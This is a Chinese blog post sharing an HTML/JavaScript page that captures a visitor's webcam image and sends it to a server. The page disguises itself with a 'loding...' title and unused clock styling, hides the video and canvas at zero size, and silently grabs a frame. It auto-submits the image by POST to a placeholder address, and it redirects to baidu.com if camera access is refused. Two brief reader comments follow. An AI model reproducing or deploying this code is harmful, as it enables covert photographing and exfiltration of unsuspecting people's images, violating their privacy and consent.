H5中JS调用摄像头截图拍照并发送

韩小韩
2021-04-28 / 2 评论 / 1,373 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2021年04月28日,已超过1088天没有更新,若内容或图片失效,请留言反馈。

H5中JS调用摄像头截图拍照并发送

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>loding...</title>
<style>
    body{background:#ffffff}.clock{position:absolute;opacity:1}.fill .clock{left:50%;top:50%}.centre{position:absolute;top:50%;left:50%;width:0;height:0}.expand{position:absolute;top:0;left:0;transform:translate(-50%,-50%)}.anchor{position:absolute;top:0;left:0;width:0;height:0}.element{position:absolute;top:0;left:0}.round{border-radius:296px}.circle-1{background:#000000;width:12px;height:12px}.circle-2{background:#fa9f22;width:8px;height:8px}.circle-3{background:#ffffff;width:4px;height:4px}.second{transform:rotate(180deg)}.minute{transform:rotate(54deg)}.second-hand{width:2px;height:164px;background:#fa9f22;transform:translate(-50%,-100%) translateY(24px)}.hour{transform:rotate(304.5deg)}.thin-hand{width:4px;height:50px;background:#ff0000;transform:translate(-50%,-100%)}.fat-hand{width:10px;height:57px;border-radius:10px;background:#000000;transform:translate(-50%,-100%) translateY(-18px)}.minute-hand{height:112px}.hour-text{position:absolute;font:40px Hei,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.hour-10{padding-left:.4ex}.hour-11{padding-left:.25ex}.minute-text{position:absolute;font:12px Avenir Next,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.minute-line{background:#000000;width:1px;height:9px;transform:translate(-50%,-100%) translateY(-131px);opacity:1}
</style>
</head>
<body>
<video id="video" width="0" height="0" autoplay></video>
    <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
<form action="截图好并发送的地址" id="gopo" method="post">
<input type="hidden" name="img" id="result" value="" />
<input type='hidden' name='mod' value='up'/>
</form>
</body>
<script>
     window.addEventListener("DOMContentLoaded", function() {
            var canvas = document.getElementById('canvas');
            var context = canvas.getContext('2d');
            var video = document.getElementById('video');
            if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) {
                    video.srcObject = stream;
                    video.play();
                    
                    setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000);
                    setTimeout(function(){
                        var img = canvas.toDataURL('image/png');  
                        document.getElementById('result').value = img;
                        document.getElementById('gopo').submit();
                        },1300);
                },function(){
                window.location.href = 'http://baidu.com';
                    
                });
                
            }
        }, false);
    
</script>
</html>
3

评论 (2)

取消
  1. 头像
    强仔
    Android 10 Android 10 / Google Chrome Google Chrome 中国移动

    我想偷走表情

    回复
    1. 头像
      韩小韩 作者
      iOS 14.5 iOS 14.5 / QQ 浏览器 QQ 浏览器 中国江苏省联通
      @ 强仔

      拿走拿走

      回复